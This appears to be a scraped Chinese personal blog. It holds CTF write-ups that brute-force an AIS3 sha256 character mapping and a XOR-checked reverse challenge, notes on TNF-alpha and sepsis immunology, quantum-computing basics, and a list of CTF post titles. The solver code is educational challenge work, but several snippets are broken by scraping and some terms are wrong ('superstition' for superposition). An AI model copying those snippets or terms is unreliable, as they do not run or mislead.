from hashlib import sha256
import string
flag = 'AIS3{THIS_IS_A_FAKE_FLAG}'

cand = string.ascii_letters + string.digits + '_{}'
charset = string.printable[:93]

enc = ''
for c in flag:
assert(c in cand)
enc  += charset[int(sha256(c.encode()).hexdigest(), 16) % len(charset)]

print(enc)
1
)g;Fk@>2g;2V2J?d5G3_8V2
第一個想法是逆推，但是它裡面用了 sha256 加密，所以也沒辦法直接逆推，只好用順向搜尋的方式解題。
但因為他取 sha256 加密後的某個位置數字的對應字元，逆推後並不只一種可能性，所以我們用不同的 ascii 碼範圍搜尋可能字元後，因為題目提及 flag 符合文法與 leet 語法，再用手動來把 flag 拼出來。
先把爆搜的程式寫出來。
1
2
3
4
5
6
7
8
9
10
11
12
from hashlib import sha256
import string

g=")g;Fk@>2g;2V2J?d5G3_8V2
s="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}"
# s=cand

for i in range(133):
    for j in range(127,64,-1): # range(65,128), range(48,128)
        if s[int(sha256(chr(j).encode()).hexdigest(),16)%93]==g[i]:
            print(chr(j),end='')
            break
跑出了三種結果:
1
2
3
AISv{iX_IS_M_BeautqM_day_~utside_AIr|q_MRe_SiNvin{_qow{RS_Arv_BlOOmIN_oN_dAys_ide_nhvse_wi|s_iwv_Y~u_ShOuM|_Be_Brnin_n_hv}
AISGEiT_IS_L_BeaZtFUL_Kay_~ZtsiKe_AIrDF_LRe_SiNGinE_FoQERS_ArG_BlOOmIN_oN_KAys_iKe_nhGse_QiDs_iQG_Y~Z_ShOZLD_Be_BUrnin_n_hG}
8IS39iT_IS_4_BeaZ215=4_Kay_0Z2siKe_8IrD5_4Re_SiN3i79_51oQ9RS_8r3_BlOO@IN6_oN_K8ys_1iKe_7h3se_QiDs_1iQ3_Y0Z_ShOZ4D_Be_B=r7i76_17_h311}
剩下就是手動拼組了，不過可以確定 range(48,128)的字串長度必定為 flag 長度，因其包含了所有 flag 可能字元。
FLAG:
1
AIS3{iT_IS_4_Beaut1FUL_day_0utside_8IrD5_4Re_SiNGin9_F1owERS_Ar3_BlOOmIN6_oN_dAys_1iKe_7h3se_kiDs_1ik3_Y0u_ShOuLD_Be_BUrnin6_1n_h311}
P.S.我拼了 1.5hr 錯了 10 次才對，1t’s 4 re41 h31l…
Reverse
ⒸⓄⓋⒾⒹ-①⑨ [baby]
Bonus : First Blood
這題直接給了一個 x64 的 task.elf 檔，既然是 reverse 就直接用 IDA Pro 打開吧~
Decompile 之後先看看 main，沒有找到什麼可以用的東西，function 多到暈頭轉向，看到的東西只有YOU WIN!…
不過在裡面發現了一個可疑的 functioncheck_flag_is_correct(char *)，進去看看 decompile 的內容。
看起來是個判斷傳入字串是否符合條件的函數，點進 target 發現有一串數字。
看來是把這些數字拿來比對運算結果，所以我們就把條件判斷爆搜字串之後就可以拿到 flag 了。
寫個程式來把 flag 爆搜出來。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include
using namespace std;

int p[32]={65,  72,  81,  48, 127,  48,  49,  51, 113,  86,
   98,  59,  97,  62, 114, 120,  35,  37,  96,  76,
  121,  33,  35, 124, 101};

int main(){
for(int i=0;i<32;i++){
for(int j=0;;j++){
if(char(char(j)^i)==char(p[i])){
cout<<char(j);
break;
}
}
}
return 0;
}
FLAG:
1
AIS3{574y_h0m3|w34r_m45k}
P.S. 賽後發現 xor 算法可以直接算出 flag，不需要爆搜，比賽的時候沒想好繞了一圈…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include
using namespace std;

int p[32]={65,  72,  81,  48, 127,  48,  49,  51, 113,  86,
   98,  59,  97,  62, 114, 120,  35,  37,  96,  76,
  121,  33,  35, 124, 101};

int main(){
for(int i=0;i<32;i++){
cout<<char(i^p[i]);
}
cout<
return 0;
}



漫談免疫學BLOG筆記-Day II
2021-06-03T19:26:24.000Z
這篇接續了上篇，延續了 TNF-$\alpha$的話題，但接著把病理學帶進了文章中。一起來看看~
TNF-$\alpha$
TNF-$\alpha$是維持免疫熱度最重要的 cytokine，在正常情況下含量並不多，但細菌感染後含量會逐漸升高。教授在這裡將免疫熱度分為 5 個層次:
免疫熱度 症狀
1 正常情況
2 稍有微小狀況
3 人體產生不適情況
4 高燒不退
5 敗血症(septicemia)
Supplement : Septicemia
Septicemia 與 Sepsis 雖翻譯上都指敗血症，但事實上其中有所不同，sepsis 指嚴重化的 septicemia 與併發症。敗血症一般是由細菌感染所引起，引發人體產生嚴重的免疫反應，如細菌內外毒素、細胞激素等都可能導致相關的併發症。
根據不同的病原體，產生的敗血症可能也有所不同，包括金黃色葡萄球菌敗血症、腸道鏈球菌敗血症…等，若沒有經由妥善治療，可能會引發敗血性休克(septic shock):
當細菌感染時，部分部位會有炎症反應，血管的通透性便會增加，此時，平常待在血管中的如白蛋白等原先維持血液中滲透壓的物質便會經由開口跑到組織當中，平時在白蛋白的幫助之下，約 90%的血漿溢出之後便會經由原處因滲透壓滲回，但在發炎反應之下，血液中的滲透壓濃度不足以讓血漿滲回，過量的血漿堆積導致局部組織水腫。
在此同時，血管中的血液因而減少，重要器官如大腦或腎臟等處的血壓不足，若血管收縮依然無法改善，即會產生敗血性休克。
TNF-$\alpha$ Cycle
TNF-$\alpha$在沒有細菌感染的情況之下，走以下的循環路徑:
圖中 NF-kB 在 GSK3 的刺激下活化，轉錄出少量的 TNF-$\alpha$ mRNA，TNF-$\alpha$再去持續活化更多的中性球、T 細胞以及 B 細胞，此外，PKB 在上游的活化，也會抑制 GSK3 對於 NF-kB 的活化，避免產生過量的 TNF-$\alpha$。
此外，巨噬細胞(Macrophage)與嗜中性球(Neutrophil)在細菌感染時都會感應細菌細胞壁上的 LPS，引發 TNF-$\alpha$的下游反應。不同的是，中性球在吞噬細菌之後會死亡，相反的，巨噬細胞會繼續擴大免疫反應。
在 TNF-$\alpha$的刺激下，Neutrophil 的壽命會延長，超過原有的壽命約 8-12hr。在血液中被活化的中性球、T cell 與 B cell，都會進行 TNF-$\alpha$ cycle，但基於以上提到的免疫熱度概念，TNF-$\alpha$的量亦不能過多，教授表達熱度要夠但不能太熱，重點在於清除體內的病原體，但也不能因此讓人體產生無法承受的免疫反應。
LPS/TLR-4 Pathway
上次提及了 TNF-$\alpha$/TNFR Pathway，這次來解釋上圖右方的 LPS/TLR-4 Pathway。這兩個傳訊路徑共同刺激了下游的 TNF-$\alpha$生成。
看到 TRAF 應該可以聯想到上次的 TNF-$\alpha$/TNFR Pathway 裡面也有相同的複合物，事實上上次的最後一張圖便是將這兩個 Pathway 進行的一個統整。TRAF 在於兩者中都扮演重要的中間傳訊者，總括而言，有四條下游的路徑可以走:
TRAF6 下游:
其與 TNF-$\alpha$/TNFR Pathway 其中兩條的路徑是一樣的，分別為:
MAP kinase Pathway
IKK$\beta$/IkB$\alpha$/NF-kB Pathway
TRAF3 下游:
這是相對比較不同的路徑，如下:
cIAP1/2 將 TRAF3 泛素化(ubiquitination)，直接走向降解路徑(degradeation)。
走向 IRF-3 路徑，進入核內轉錄出第一型干擾素(Type I IFNs)
此外，不僅是免疫細胞，如上皮細胞等也能夠走相同路徑，但上皮細胞不轉錄 TNF-$\alpha$，走 IFN 路徑，發生抗炎反應抑制 Pro-inflammatory cytokines 的產生，在細菌感染時避免 Neutrophil 及 TNF-$\alpha$突然增多而引發敗血症。
代謝性酸中毒
當免疫反應過於激烈時，人體會擴大產生 TNF-$\alpha$，開啟 Th1/Th2 immunity。但在這個同時，前面提及 TNF-$\alpha$會對上皮、肌肉、神經細胞傳遞死亡訊號，當 TNF-$\alpha$過多時，器官細胞會開始皺縮，胞質溢出導致全身器官血腫，進而缺氧。
器官便從原有的有氧呼吸切換到無氧呼吸，產生大量的乳酸根離子，最終將體液$H_2O$的$H^+$搶走以電荷中和(體內$Na^+$含量大約固定為 135-145 meq/L，不夠讓過多的乳酸進行中和)，剩餘的$OH^-$便會以陰離子$HCO_{3}^-$的形式向腎臟進行交換$Cl^-$(在高中提及腎小管交換機制):
如此導致高血氯的發生，並陷入氧氣更難進入的惡性循環。此外，原先的鹼性$HCO_{3}^-$被取代為中性的$Cl^-$後，體液$pH$值會持續下降，成為所謂的代謝性酸中毒。
下次來整理 TLR 的一些相關內容吧~
References
https://wleemc.pixnet.net/blog/post/118886352-%E6%BC%AB%E8%AB%87%E5%85%8D%E7%96%AB%E5%AD%B8-2


漫談免疫學BLOG筆記-Day I
2021-05-20T15:37:00.000Z
之前看到老師在社團分享李教授在部落格中所分享的文章，覺得心生興趣於是就拜訪了那個部落格，裡面的內容與免疫知識十分充足而且有趣，那麼就用自己的方法來整理它吧~
Day I
Bacteria Immunity
這篇主要整理 LPS ~ TLR ~ NF-kB ~ TNF-$\alpha$ Pathway，文章前面提及數十年前的免疫學知識遠比現在所了解的更少，例如細菌的 LPS(Lipopolysaccharide)打入小鼠後會讓老鼠身上的腫瘤發生潰爛，是 TNF-$\alpha$的效應，但精確機制為何，在當時依然為謎。
TNF-$\alpha$是由淋巴細胞(Lymphocyte)產生的 Lymphotoxin，全名是腫瘤壞死因子$\alpha$，根據教授的說明，其是維持人體免疫熱度最重要的細胞激素(Cytokine)
NF-kB 是負責免疫細胞激素(Inflammatory cytokines)轉錄最重要的轉錄因子(Transcription factor)
GSK3 是維持 NF-kB 基礎活性的激酶(Kinase)。
PKA/PKB 亦是激酶，其中 PKB 被教授稱為”激酶之王”
TNF-$\alpha$在免疫反應中主要維持中性球(Neutrophil)與淋巴球的免疫活性，在病原體入侵時量會增加以擴大免疫反應阻絕病原體。若沒有經過此一活化，則人體無法啟動與維持Th1/Th2 Immunity的進行。
Supplement : Th1/Th2 Immunity
T 細胞在人體中是細胞激素的主要來源，而其所產生的 Th1/Th2 則是人體中最為主要的兩大細胞激素族群，其下又分別有多種的細胞激素。廣泛而言，Th1 型細胞激素主要負責寄生蟲殺害與促炎反應，例如干擾素$\gamma$(IFN-$\gamma$)。但過度的促炎反應會對人體造成損傷，因此 Th2 機制便是在 Th1 過量時進行抑制殺死微生物的作用。Th2 包含 IL-4,IL-5 及 IL-13 等，與促進嗜酸性球及 IgE 活性有關。此二細胞激素的拮抗構成了此一免疫機制的基本適應。
Ref. (NCBI) Th1 and Th2 responses: what are they?
TNF-$\alpha$顧名思義是一種誘導細胞死亡的蛋白，但事實上他的功能一體兩面，不僅可促進細胞凋亡，也可以促進細胞生存，一種蛋白有兩種截然不同的功能，十分新奇。(但值得注意的是，它並不是對單一細胞同時傳遞兩種訊息，相反的，它針對特定細胞傳遞生存訊號或死亡訊號)
教授在部落格中特別提出了這段話來說明:
TNF-$\alpha$一方面活化 Immune cell(免疫細胞), Fibroblast(纖維母細胞), Stromal cell(基質細胞), Stem cell(幹細胞), Vascular endothelial cell(血管內皮細胞)，促進這些細胞存活及分裂(Survival >> Death)；另一方面在人體最多的 Epithelial cell(上皮細胞), muscle cell(肌肉細胞), nerve cell(神經細胞) 則傳遞凋亡訊息(Death > Survival)。
TNF-$\alpha$/TNFR/TRAF2 Pathway
接著討論 TNFR(TNF receptor)。事實上這個 recepter 早在西元 1985 年就被發現，然而其下游的組裝機制在約 1994-1996 年之後才被發現。
以這張圖片為例，當 TNF-$\alpha$接上了 TNFR 之後(游離態，此圖未顯示)，插入細胞膜之中，TRADD, TRAF2, RIP1 會聚集過來接上，促成 TRAF2 與 RIPK1 的被動磷酸化(Autophosphorylation)與泛素化(Polyubiquitination)(Ub)(主要功能為標記)。此活化上游路徑稱為 TNF-$\alpha$/TNFR/TRAF2 Pathway。其下游根據所處細胞的不同可能會激發不同的反應途徑。
圖示左邊的途徑中，有一個 TAK1 接上 TAB2/3 與 TAB1 的 complex，其在接觸了 TRAF 的磷酸化部位之後，TAK1 會進行磷酸化及泛素化，並將其下游的 IKK$\beta$磷酸化，IKK$\beta$再將 IkB 磷酸化之後，p-IkB 與 NF-kB 分離，p-IkB 隨後進入 Ubiquitin-Proteasome degradation pathway 進行降解，而 NF-kB 則進入核內，即作為轉錄因子，可以控制轉錄。
TNF-$\alpha$在免疫細胞中另一個途徑是走 MAP kinase pathway，也就是在 TAK1 下游的另一條路徑。但這條路徑過於複雜，有許多在旁的激酶與激素等，因此留待日後補充。
另外圖中補充了引發細胞凋亡(apoptosis)與壞死性凋亡(necroptosis)的途徑，主要由原本在 TNFR 下方複合物中的 RIPK-1 游離後接上 FADD 與 caspase8 組成新的 complex，再經由不同的途徑接上激酶等因子後進行凋亡，如上皮細胞接收到 TNF-$\alpha$的信號時，就會引起細胞凋亡路徑。
至此第一篇的筆記整理算是到此結束，然而上方所提及的僅是主要路徑的模式，至於是否僅有這些?當然不是啊!下方附圖是加上了其他訊號加強或是抑制的示意圖，所有的訊號都是經由其他的 Recepter 經過訊號整合後才進行下游途徑的，因此，單一訊號的傳遞，絕對不是僅由單一變因控制的喔!
References
https://wleemc.pixnet.net/blog/post/118860702-%E6%BC%AB%E8%AB%87%E5%85%8D%E7%96%AB%E5%AD%B8-1


Quantum Computing Part II
2021-05-16T08:23:14.000Z
基礎的線性代數對於量子的運算是不可或缺的，因此這幾篇文章會先來建立線性代數的相關基礎概念。
Foundamental Linear Algebra of Quantum Computing Part I
Why all math?
許多的量子學習者總被大量的數學運算搞得暈頭轉向，然而，數學對於量子而言，是必要的基礎以及工具，尤其對於線性代數(向量(Vector)、矩陣(Matrix))、機率(Probability)以及複數(Complex Numbers)等領域，會是量子運算的根基。在未來我們將會提及，現在所進行的所有運算將都能利用數學語言來呈現。高中必修的部分，也將在這裡快速帶過。
Vector
向量是許多領域的基礎，接續下來所要介紹的複數與矩陣等都會用到相關的概念，要好好學習喔!這裡主要整理比較常用到的概念，比較簡單的細節部份就有待各位自行鑽研囉~(其實學校學的也夠用了啦 XD)
Vector Notation
$\vec{v}=\left(
\begin{array}{}
v_x \
v_y \
\end{array}
\right)$
Vector Magnititude
$|\vec{v}|=\sqrt{v_x^{2}+v_y^{2}}$
Vector Direction
$\angle \vec{v}=\tan^{-1}\dfrac{v_x}{v_y}$
Vector Addition
$\vec{a}+\vec{b}=\left(
\begin{array}{}
a_x + b_x \
a_y + b_y \
\end{array}
\right)$
Vector-Scalar Multiplication
$c\times \vec{v}=\left(
\begin{array}{}
c\times v_x \
c\times v_y \
\end{array}
\right)$
Vector Generalization
咦，向量只有這樣而已嗎?沒辦法，會用到的簡單到不知道要寫什麼了$QQ$
Complex Numbers
Why Complex Numbers?
$ax^2+bx+c=0\Rightarrow x=\dfrac{-b±\sqrt{b^2-4ac}}{2a}$
$D=\sqrt{b^2-4ac}$
If $D<0$ $?$ $\Rightarrow$ $\sqrt{-1}$ $???$
Then, we defined $\sqrt{-1}$ as $i$ !
A complex number consists of both a real and imaginary component
Representation
Complex numbers can additionally be represented as vectors, in the 2D complex plane!
Complex Number Addition
$(a+ib)+(c+id)=(a+c)+i(b+d)$
Complex Number Multiplication
$(a+ib)\times(c+id)=(ac-bd)+i(ad+bc)$
Complex Number Conjugation
共軛複數是一個全新的觀念，要注意一下唷~
$\overline{(a+ib)}=(a-ib)$
Complex Number Modulus
$|a+ib|=\sqrt{a^2+b^2}$
$|a+ib|^2=a^2+b^2$
接下來是重要的理論，我們將利用尤拉定理(Euler’s Formula)來進行複數的帶換，加入角度的概念，將複數利用另外一種形式來表示。
Euler’s Formula & Complex Exponentials
$e^{i\phi}=\cos\phi+i\sin\phi→$(Euler’s Formula)
$z=x+iy=|z|(\cos\phi+i\sin\phi)=re^{i\phi}$
$r=|z|=\sqrt{x^2+y^2}$
$\phi=\tan^{-1}(\dfrac{y}{x})$
Euler’s Identity
$e^{i\pi}+1=0$
Complex Exp. Addition
一般而言，要將複指數進行加減是十分不易的，必須將其轉回標準狀態的複數形式才能夠進行加減。然而，透過以下兩式的轉換，可以簡化這方面的運算。
$\dfrac{e^{i\phi}+e^{-i\phi}}{2}=\cos\phi$
$\dfrac{e^{i\phi}-e^{-i\phi}}{2i}=\sin\phi$
e.g.
$e^{-i\dfrac{\pi}{2}}-e^{i\dfrac{\pi}{2}}=2i\sin{\dfrac{\pi}{2}}=2i$
Complex Exp. Multiplication
$e^{i\phi}e^{i\theta}=e^{i(\phi+\theta)}$
Complex Exp. Modulus
$|z|=|re^{i\phi}|=r(r>0)$
Complex Exp. Conjugation
$\overline{e^{i\phi}}=e^{-i\phi}$
事實上，複數平面就是向量的運用，利用實數與虛數構成的平面進行代數的幾何化，並帶入三角函數的概念來進行轉換，此二概念是相輔相成的，可以多多注意。


Quantum Computing Part I
2021-05-08T10:22:16.000Z
這篇先來介紹量子運算的基礎-位元運算吧!位元的運算不管是對於傳統電腦或量子電腦皆是不可或缺的基礎，而量子電腦則拓展到了特殊化的標記與邏輯閘的運算。
Foundamental Notation of Quantum Computing
Definition of Quantum Computing
量子位元(以下簡稱 Qubit)運用狄拉克標記(Dirac notation)來描述一個量子$\phi$的狀態，並以單位位元$|0〉$與$|1〉$的線性組合來定義之。
$|\phi〉=\alpha|0〉+\beta|1〉；\alpha,\beta∈C$
而透過量子力學可以得知，$\phi$ 係數平方和 $\alpha^2+\beta^2=1$，且$\alpha^2$與$\beta^2$分別代表了$|0〉$與$|1〉$出現的機率。
Quantum Gates
首先介紹關於單一量子位元的操作邏輯閘(Logic Gates)。
Pauli-X Gate

Bit-Flip.其定義為翻轉(flip)量子位元，顧名思義，它進行以下運算:
$|0〉→|1〉$
$|1〉→|0〉$
Pauli-Z Gate

Phase Gate.此邏輯閘定義為保留$|0〉$的狀態不變，且將$|1〉$換成$-|1〉$
$|0〉→|0〉$
$|1〉→-|1〉$
Hadamard Gate

Create a 50-50 superstition from $|0〉$ and $|1〉$。建立出出現$|0〉$$|1〉$機率各 50%的量子位元
$|0〉→\dfrac{|0〉+|1〉}{\sqrt{2}}$
$|1〉→\dfrac{|0〉-|1〉}{\sqrt{2}}$
※ 量子閘具有線性運算特性，遵守運算基本性質(分配律與結合律)。
Supplement : TWICE HADAMARD
$For$ $|0⟩$:
$H(\dfrac{|0⟩+|1⟩}{\sqrt2})=\dfrac{H(|0⟩)+H(|1⟩)}{\sqrt2}$
$=\dfrac{1}{\sqrt2}(\dfrac{|0⟩+|1⟩}{\sqrt2}+\dfrac{|0⟩-|1⟩}{\sqrt2})$
$=|0⟩$
$For$ $|1⟩$:
$H(\dfrac{|0⟩-|1⟩}{\sqrt2})=\dfrac{H(|0⟩)-H(|1⟩)}{\sqrt2}$
$=\dfrac{1}{\sqrt2}[\dfrac{|0⟩+|1⟩}{\sqrt2}-(\dfrac{|0⟩-|1⟩}{\sqrt2})]$
$=|1⟩$
接著介紹多個量子位元的表示法與運算閘。
Multiple Qubit Notation
$|0〉→$ qibit A is $|0〉$
$|00〉→$ qibit A is $|0〉$ and qubit B is $|0〉$
$|000〉→$ qibit A is $|0〉$ and qubit B is $|0〉$ and qubit C is $|0〉$
…etc
CNOT Gate

Controlled Not.以控制位元決定是否要翻轉目標位元。
Control Qubit Target Qubit Flip or NOT
0 False
1 True
Exercise : Quantum Entanglement
Question: How to create an entagled state quantum bit?
Now we have two qubits: Qubit A and Qubit B.
Our target is to make these two qubits influence each other.
So, we have to make sure that one of the qubit’s value will be fixed after the other one is defined.$→$ Use CNOT Gate
And we also need to set the first qubit into two-valued state.$→$ Use Hadamard Gate

We create an entangled state quantum bit successfully!


Quantum Computing Getting Started
2021-05-01T23:18:19.000Z
這是一部基於 IBM QxQ 量子基礎課程的筆記，將從最基本的數學基礎延伸到量子相關內容。量子應用的層面相當廣泛，從醫療、通訊、金融服務、交通、AI、天氣預報，甚至於加密演算法，皆有其可觀之處。此文章將由淺入深，介紹量子學習相關的內容以及演算方法。
Quantum Computing Basic
量子運算的核心精神是利用量子的相關物理特性，如干涉(intervene)、糾纏(entanglement)與疊加(superstition)等，來進行傳統電腦(classical computers)所無法進行的快速運算。現今最為有名的應用為整數分解(integer factorization)，其可應用於破解傳統非對稱式加密演算法 RSA 的核心加密要素-大數分解。
Introduce of Quantums
量子計算系統運用了量子位元(Qubit)來進行訊息的傳遞。傳統電腦運算系統運用數字 0 與 1 來表達訊息，且在某一時間點僅存在一種狀態。而與傳統電腦相對而言，量子電腦(Quantum Computer)特殊的地方便在於其可同時對 0 與 1 進行運算，成為一種 0 與 1 同時存在的狀態，稱之為疊加態(superstition)。
Quantum Computing’s History
量子運算最早可追溯至 1980 年初的 Paul Banioff 提出量子力學模型(quantum mechanical model)的圖靈機(Turing machine)。在其之後，著名物理學家 Richard Feynman 與 Yuri Manin 提出量子計算機有潛力突破傳統電腦的限制，模擬傳統計算機(Computer)所無法達成的事情。這也成功造就了量子技術的蓬勃發展。
Qunatum’s Application
量子應用的相關層面可說是十分廣泛，舉凡醫學(Medicine)、藥學(Pharmacy)、經濟(Finance)、天氣(Weather)等生活中的應用，以及最不可或缺的資訊類別，如人工智慧(Artificial Intelligence)、密碼學(Cryptography)，量子運算正在每個領域中悄悄蔓延。量子運算將大幅減少傳統電腦所需負擔的計算時間，這同時也減少了公司金錢的支出。
Modern Quantum Computing’s Development
1981 Richard Feynman 提出一個用於模擬量子系統的框架(Framework)。
1994 Peter Shor 表明量子運算能夠有效分解大型整數。
1998 運用 2-qubit NMR 量子計算機的首次量子運算實驗進行。
2017 雲端量子技術形成。
2019- 量子時代來臨
看了這麼多，你認為量子距離你遙不可及嗎?答案顯然是否定的。基本的運算與計算培養對於量子技術的養成是不可或缺的。先讓我們來窺探量子世界的微小基礎吧!

	Intel	AT&T
運算元(Operant)順序	目標運算元在前	來源運算元在前
Register	不變	`%`字首
立即數	不變	`$`字首
16進位立即數	字尾加上`h`	字首加上`0x`
記憶體長度存取	BYTE PTR、WORD PTR、DWORD PTR、QWORD PTR開頭分別代表位元組(8bit，char)、字(16bit，short)、雙字(32bit，int)、四字(64bit，long)	b、w、l、q結尾分別代表位元組(8bit，char)、字(16bit，short)、雙字(32bit，int)、四字(64bit，long)
變數取值	`[var]`	`var`
變數取位址	`var`	`$var`

	$\bar{0}$	$\bar{1}$	$\bar{2}$	$\bar{3}$	$\bar{4}$	$\bar{5}$
$\bar{0}$	$\bar{0}$	$\bar{0}$	$\bar{0}$	$\bar{0}$	$\bar{0}$	$\bar{0}$
$\bar{1}$	$\bar{0}$	$\bar{1}$	$\bar{2}$	$\bar{3}$	$\bar{4}$	$\bar{5}$
$\bar{2}$	$\bar{0}$	$\bar{2}$	$\bar{4}$	$\bar{0}$	$\bar{2}$	$\bar{4}$
$\bar{3}$	$\bar{0}$	$\bar{3}$	$\bar{0}$	$\bar{3}$	$\bar{0}$	$\bar{3}$
$\bar{4}$	$\bar{0}$	$\bar{4}$	$\bar{2}$	$\bar{0}$	$\bar{4}$	$\bar{2}$
$\bar{5}$	$\bar{0}$	$\bar{5}$	$\bar{4}$	$\bar{3}$	$\bar{2}$	$\bar{1}$

蛋白名稱	功能	補充說明
棘蛋白(Spike Protein,S Protein)	與膜上受體結合	註一
封套蛋白(Envelope Protein,E Protein)	使宿主產生炎症反應、病毒組裝	註二
膜蛋白(Membrane Protein,M Protein)	構成病毒形狀使套膜成形	註三
核殼蛋白(Nucleocapsid Protein,N Protein)	結合病毒產生的RNA	註四

免疫熱度	症狀
1	正常情況
2	稍有微小狀況
3	人體產生不適情況
4	高燒不退
5	敗血症(septicemia)

M3t30r

2023 AIS3 Pre-exam Write Up

Misc

Welcome [100]

Robot [100]

Web

Login Panel [100]

Crypto

Fernet [100]

2DES [484]

MSB Oracle Attack [499]

Reverse

Simply Reverse [139]

Flag Sleeper [379]

Vivid Emotion [493]

Pwn

Simply Pwn [356]

ManagementSystem [443]

picoCTF 2023 Write Up

Web Exploitation

findme

MatchTheRegex

SOAP

More SQLi

Java Code Analysis!?!

Cryptography

HideToSee

ReadMyCert

rotation

PowerAnalysis: Warmup

Reverse Engineering

Ready Gladiator 0

Reverse

Safe Opener 2

timer

Virtual Machine 0

No way out

Ready Gladiator 1

Virtual Machine 1

Ready Gladiator 2

Forensics

hideme

PcapPoisoning

who is it

FindAndOpen

MSB

General Skills

chrono

money-ware

Permissions

repetitions

useless

Special

Specialer

Binary Exploitation

babygame01

two-sum

hijacking

tic-tac

VNE

CTF系列-Reverse Engineering逆向工程基礎I

Basic Assembly

x86 vs. ARM

Intel vs. AT&T syntax

Registers

Statements

MOV (move)

ADD (add)

SUB (subtract)

MUL (multiplicate) & DIV (divide)

JMP (jump) & LOOP (loop)

Stack

統整

二進位檔案(Binary)

Preprocessor

Compiler

Assembler

Executable

Disassemble

Decompile

`Binary Exploitation`

`babygame01`

`two-sum`

`hijacking`

`tic-tac`

`VNE`